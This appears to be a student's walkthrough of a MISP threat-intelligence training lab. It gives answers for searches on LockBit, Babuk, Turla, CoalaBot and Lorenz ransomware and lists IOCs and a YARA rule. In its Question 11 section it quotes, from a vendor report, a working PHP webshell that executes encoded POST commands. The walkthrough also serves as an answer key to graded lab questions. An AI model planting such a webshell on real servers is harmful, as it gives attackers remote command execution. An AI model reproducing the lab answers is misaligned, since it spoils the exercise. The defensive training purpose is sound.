

## Threat Intelligence Blue team level 1 LAB

### Lab Scenario:

In this lab you will get hands-on with MISP to perform analysis and research of ingested threat feeds. You will be given different tasks, and must answer questions related to them to complete the lab.

#### Question 1 )

How many MISP events are found when searching for 'ransomware'?

Format: Number of Events

153

Correct! ✓

#### Question 2 )

Lockbit is the name given to a type of ransomware, and the group of criminals that operate it. Search for Lockbit and look at the most recent intelligence report. Look for indicators, and submit the name of the domain observed in this event

Format: Domain Used by Lockbit

orangebronze.com

Correct! ✓

#### Question 3 )

One of your colleagues also mentions you should look at 'Babuk'. YARA rules can be used to detect malware based on certain pre-defined properties. Find the provided YARA rule and discover what the name of the created ransom note file is

Format: filename.extension

How To Restore Your Files.txt

Correct! ✓

#### Question 4 )

View event 986. Click the ATT&CK Matrix button to show the Enterprise Matrix table below. What high-level Tactics (Initial Access, Collection, etc) contain highlighted techniques?

Format: Format: Tactic, Tactic, Tactic

Persistence, Privilege escalation, Collection

Correct! ✓

Question 1: We searched for "ransomware". The result shows the amount.

## Events

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**Filters:** Eventinfo: ransomware

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http://www.caro.org/definitions/index.html. Malware families are extracted from Microsoft SIRs since 2008 based on https://www.microsoft.com/security/sir/archive/default.aspx and https://www.microsoft.com/en-us/security/portal/threat/threats.aspx. Note that SIRs do NOT include all Microsoft malware families.

**ms-caro-malware-full:malware**

- ↳ type:OSINT
- ↳ osint:lifetime
- ↳ osint:source-type="blog-post"
- ↳ misp-galaxy:mitre-attack-pattern
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- ↳ dnc:malware-type="Ransomware"
- ↳ ecsirt:malicious-code="ransomware"
- ↳ malware\_classification:malware
- ↳ veris:action:malware:variety
- ↳ ms-caro-malware:malware-type
- ↳ ms-caro-malware-full:malware

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Question 2: The first one is the most recent. We filtered by domain and found it instantly.

## Events

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**Filters:** Eventinfo: lockbit

Creator org	Owner org	ID	Clusters	Tags	#Attr.	#Corr.	Creator user
<input type="checkbox"/>	<input checked="" type="checkbox"/> CUDESO	ORGNAME — 1539	<b>Ransomware</b> Q	<b>tlp:white</b>	14	1	admin@admin.te
<ul style="list-style-type: none"> <li>↳ LockBit Q</li> <li>↳ Tool Q</li> <li>↳ BloodHound - S0521 Q</li> <li>↳ Enterprise Attack - Tool Q</li> <li>↳ Cobalt Strike - S0154 Q</li> <li>↳ Attack Pattern Q</li> <li>↳ PowerShell - T1059.001 Q</li> <li>↳ Windows Command Shell - T1059.003 Q</li> <li>↳ Drive-by Compromise - T1189 Q</li> <li>↳ Service Execution - T1569.002 Q</li> </ul>							
<input type="checkbox"/>	<input checked="" type="checkbox"/> CUDESO	ORGNAME — 1514	<b>Ransomware</b> Q	<b>tlp:white</b>	60	1	admin@admin.te
<ul style="list-style-type: none"> <li>↳ LockBit Q</li> <li>↳ Attack Pattern Q</li> <li>↳ Data Encrypted for Impact - T1486 Q</li> </ul>							
<input type="checkbox"/>	<input checked="" type="checkbox"/> ORGNAME	1225	<b>Ransomware</b> Q	<b>type:OSINT</b>	54	1	admin@admin.te
<ul style="list-style-type: none"> <li>↳ LockBit Q</li> </ul>				<b>osint:lifetime="perpetual"</b>			

Screenshot of a MISP search results page showing network activity and external analysis records.

Date	Type	Category	Value	Action Buttons	Notes
2022-08-21	Network activity	ip-dst	194.26.29.13		Cobal C2 se
2022-08-21	Network activity	domain	orangebronze.com		Cobal C2 se
2022-08-21	External analysis	link	<a href="https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/">https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/</a>		

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### Discussion

Quote Event Thread Link Code

Download: PGP public key This is an initial install Powered by MISP 2.4.164 Please configure and harden accordingly - 2025-12-27 17:34:33

domain

^ v  Highlight All  Match Case  Match Diacritics  Whole Word

Question 3: We filtered again, searched for Yara, and found this. We opened "show all" and the file appeared.

Screenshot of a MISP search results page showing artifacts dropped with Yara rule.

Date	Org	Category	Type	Value
2021-01-05		External analysis	link	<a href="https://twitter.com/Arkbird_SOLG/status/1345569395725242373">https://twitter.com/Arkbird_SOLG/status/1345569395725242373</a>
2021-01-05		Artifacts dropped	yara	<pre>rule BabukSabeit { meta:     description = "YARA rule for Babuk Ransomware"     reference = "http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/"     author = "@cPeter"     date = "2021-01-03"     rule_version = "v1"     malware_type = "ransomware"     tlp = "white" strings: Show all</pre>
2021-01-05		External analysis	link	<a href="https://bazaar.abuse.ch/sample/8203c2f00ecd3ae960cb3247a7d7fb35e55c38939607c85dbdb5c92f0495fa9/">https://bazaar.abuse.ch/sample/8203c2f00ecd3ae960cb3247a7d7fb35e55c38939607c85dbdb5c92f0495fa9/</a>

2021-01-05 Object name: file

Download: PGP public key This is an initial install Powered by MISP 2.4.164 Please configure and harden accordingly - 2025-12-27 17:35

yara

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```
malware_type = ransomware
tlp = "white"
strings:
$lanstr1 = "-lanfirst"
$lanstr2 = "-lansecond"
$lanstr3 = "-nolan"
$str1 = "BABUK LOCKER"
$str2 = ".__NIST_K571__" wide
$str3 = "How To Restore Your Files.txt" wide
$str4 = "ecdh_pub_k.bin" wide
condition:
all of ($str*) and all of ($lanstr*)
```

Question 4: We change the filter to ID and enter the number. We go in, scroll down a bit, and find what's in red from the att&ck matrix.

## Events

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**Filters:** Eventid: 986   My Events   Org Events   □ 986   ID / UUID   Filter

Creator org   Owner org   ID   Clusters   Tags

□ ✓ ESET   ORGNAME 986 Enterprise Attack - Attack Pattern Q  
 Email Collection - T1114 Q   Component Object Model Hijacking - T1122 Q

misp-galaxy:threat-actor="Turla Group"  
 misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking"  
 misp-galaxy:mitre-attack-pattern="Email Collection" tlp:  
 type:OSINT osint:lifetime="perpetual" osint:certain  
 cert-ist:threat targeted\_sector="Academic and Research"  
 cert-ist:threat targeted\_sector="Gov"

-Pivots -Galaxy +Event graph +Event timeline +Correlation graph -ATT&CK matrix +Event reports -Attributes -Discussion

986: Turla Outloo...

Galaxies

Enterprise Attack - Attack Pattern Q  
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	mitre-pre-attack	mitre-attack	mitre-mobile-attack	Reconnaissance	Resource development	Initial access	Execution	Persistence	Privilege escalation	Defense evasion	Discovery	Lateral movement	Collection	Containment
Active Scanning	Acquire Infrastructure	Cloud Accounts	AppleScript	Component Object Model Hijacking	Component Object Model Hijacking	Abuse Elevation Control Mechanism	/etc/passwd and /etc/shadow	Account Discovery	Application Access Token	Email Collection	Ap	La		
Business	Botnet	Compromise	AppleScript	Accessibility	Abuse	Access Token	ARP Cache	Application	Application	ARP Cache	As			

Question 5: Without leaving the previous page, we search for "Turla", we enter and at the bottom it tells us the number of events.

**Question 5 )**

On the same event, look at the tags section and click on the threat actor galaxy tag to view other events that include this actor. How many events have Turla Group as a tag?

Format: Number of Events

Correct! ✓

**Question 6 )**

Find an event on the Event List that has the tag 'mitre-intrusion-set=turla' and click it. Of the 2 events found, open the oldest one. What is the name of the decoy document used by Turla in this phishing campaign?

Format: Format: filename.extension

Correct! ✓

**Question 7 )**

Perform some research on DDoS Booters, online services that allow users to launch DDoS attacks by renting a botnet. How many IP addresses are provided in the event?

Format: Number of IPs

Correct! ✓

**Question 8 )**

Find the event that mentions CoalaBot - Find a website link where the malware has been uploaded (such as VirusTotal). What is the original filename? (Copy the link out of the lab, as it has no internet - as the URL is long, you will need to copy it in two parts to ensure you have the full address)

Format: Format: filename.extension

Correct! ✓

**Tags**

misp-galaxy:threat-actor="Turla Group" x

misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking" x

misp-galaxy:mitre-attack-pattern="Email Collection" x

ORGNAME x 286 Tool x

Turla x ≡

Wipbot x ≡

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Question 6: We're still on the same page and we search for "mitre-intrusion-set=turla". The oldest one has the lowest number. We search for decoy and find the PDF file we were looking for.

The screenshot shows a search results page from the MISP platform. The search term 'decoy' is entered in the search bar. Below the search bar, there are several filter options: 'Highlight All', 'Match Case', 'Match Diacritics', and 'Whole Words'. The results table shows 20 records, with the first few entries being:

Date	Type	Value	Tags	Galaxies	Comment
2017-08-22	Payload delivery	filename sha256 Save the Date G20 Digital Economy Taskforce 23 24 October.pdf			
2017-08-22	Payload delivery	filename sha256 appidpolicyconverter.js			
2017-08-22	Payload delivery	filename sha256 Scr.js			
2017-08-22	Payload delivery	sha256 7481e87023604e7534d02339540ddd9565273dd51c13d7677b9b			
2017-08-22	Payload delivery	md5 df1b4f63c1adb9abfe04e0247956ce66			

At the bottom of the page, it says 'Page 1 of 1, showing 1 records out of 20 total, starting on record 1, ending on 20'.

Question 7: We search in “filters” “booters”, enter the only event there, scroll down and find the “type” list with the IPs we are looking for. We just need to count them.

The screenshot shows the 'Filters' section of the MISP interface. The search term 'decoy' is entered in the search bar. The results table shows four network activity events with IP addresses:

Date	Category	Type	Value	Tags	Galaxies	Comment
2017-09-08	Network activity	ip-dst	104.31.76.30			<input checked="" type="checkbox"/>
2017-09-08	Network activity	ip-dst	103.42.212.68			<input checked="" type="checkbox"/>
2017-09-08	Network activity	ip-dst	115.159.30.202			<input checked="" type="checkbox"/>
2017-09-08	Network activity	ip-dst	104.27.161.160			<input checked="" type="checkbox"/>

Question 8: We searched for “coalabot”, entered it, scrolled down, and found a “VirusTotal” link. We copied it and opened it in a browser. In VirusTotal, we went to details and found the original name.

The screenshot shows the VirusTotal analysis page for a sample submitted on 2018-10-28. The analysis report includes:

- last-submission: 2018-05-19T06:43:56.000000
- permalink: <https://www.virustotal.com/file/fd07ad13dbf9da3f7841bc0dbfd303dc18153ad36259d9c6db127b49fa01d08f/analysis/1526712236/>
- detection-ratio: 48/67

The screenshot shows the 'File Version Information' page for the malware sample. It displays the following details:

Copyright	Copyright © 2017
Product	Coala
Description	Coala
Original Name	cla.exe
Internal Name	cla.exe
File Version	1.0.0.0

Question 9: I entered a link I searched for on “Reddit” and found what I was looking for on the blog: the IP address.

The dropped binary is a bot client that will print "**IVEBEENEXECUTED**" on execution, and made below networking:

- ```
1. listening to (bind to 127.0.0.1) TCP/12645 < likely a command receiver port  
2. callback to C2 (bind to LOCALIP:HIGHPORTS) at 209.126.69.167:2020 (IP = AS6428
```

Question 10: I looked in the newest version, there was a link and within that website I found the version I needed.

**Question 10 )**

Find the CVE that is being exploited within MiVoice. Do some research on it and find out what version(s) of the MiVoice Connect software are vulnerable to this?

Format: Format: XX.X XXX and earlier

R19.2 SP3 and earlier

Correct! ✓

**Question 11 )**

Find the link to the Arctic Wolf report on this attack, found within the same MISP Event. What is the filename and hash value associated with the persistence technique deployed by Turla in these attacks?

Format: Format: filename.extension, SHA256Hash

pdf\_import\_export.php, 07838ac8fd5a59bb741aae0cf3abf

Correct! ✓

**Question 12 )**

In the Galaxies section of the large event about Lorenz Ransomware and the MiVoice attacks, click on the magnifying glass icon next to Lorenz Ransomware. When was the group first active?

Format: Format: Month Year

February 2021

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| Scope toggle ▾           |            |                   |        |                                                                                                                                                           |  | Deleted | Decay score | SightingDB | Context | Related Tags                                                                                                                                                                                                                                                                                                                                                                                                                                  | Filtering tool | Tags                                          | Galaxies | Comments |
|--------------------------|------------|-------------------|--------|-----------------------------------------------------------------------------------------------------------------------------------------------------------|--|---------|-------------|------------|---------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------|-----------------------------------------------|----------|----------|
| Date                     | Org        | Category          | Type   | Value                                                                                                                                                     |  |         |             |            |         |                                                                                                                                                                                                                                                                                                                                                                                                                                               |                |                                               |          |          |
| <input type="checkbox"/> | 2022-09-21 | External analysis | link   | <a href="https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/">https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/</a> |  |         |             |            |         |      |                |                                               |          |          |
| <input type="checkbox"/> | 2022-09-21 | Network activity  | ip-dst | 138.197.218.11                                                                                                                                            |  |         |             |            |         |      |                | Data exfiltrated via FileZilla                |          |          |
| <input type="checkbox"/> | 2022-09-21 | Network activity  | ip-dst | 137.184.181.252                                                                                                                                           |  |         |             |            |         |      |                | Used to exploit the Mitel bug (CVE-2022-3613) |          |          |

to avoid operational impact.

| Product         | Impacted Versions     | Fixed Version                           |
|-----------------|-----------------------|-----------------------------------------|
| MiVoice Connect | R19.2 SP3 and earlier | MiVoice Connect R19.3                   |
|                 | R14.x and earlier     | <a href="#">Mitel Security Advisory</a> |

Question 11: On the same page we find the answer under “persistence”.

## Persistence

It is worth noting that, after exploitation of the Mitel device, Lorenz did not immediately proceed with any further activity for about a month. Upon returning to the Mitel device, the threat actor interacted with a webshell named `pdf_import_export.php` located in the path `/vhelppdf/en/`. The webshell expects a triple base64 encoded command sent via POST request.

```
<?php if(isset($_POST["ucba"])){try { $kka=$_POST["ucba"];
$lalldl=base64_decode(base64_decode(base64_decode($kka)));
$handle = popen("$lalldl 2>&1", "r");
$read = fread($handle, 2096);
echo base64_encode(base64_encode(base64_encode($read)))."|\n";
pclose($handle); } catch (Exception $e) {};}?>
```

|          |                                                                  |
|----------|------------------------------------------------------------------|
| Context  | Webshell                                                         |
| SHA256   | 07838ac8fd5a59bb741aae0cf3abf48296677be7ac0864c4f124c2e168c0af94 |
| Filename | pdf_import_export.php                                            |

Question 12: I entered Lagy in “Lorenz ransomware” and found the date.

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|-------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Description | Lorenz is a ransomware group that has been active since at least <a href="#">February 2021</a> and like many ransomware groups, performs double-extortion by exfiltrating data before encrypting systems. |
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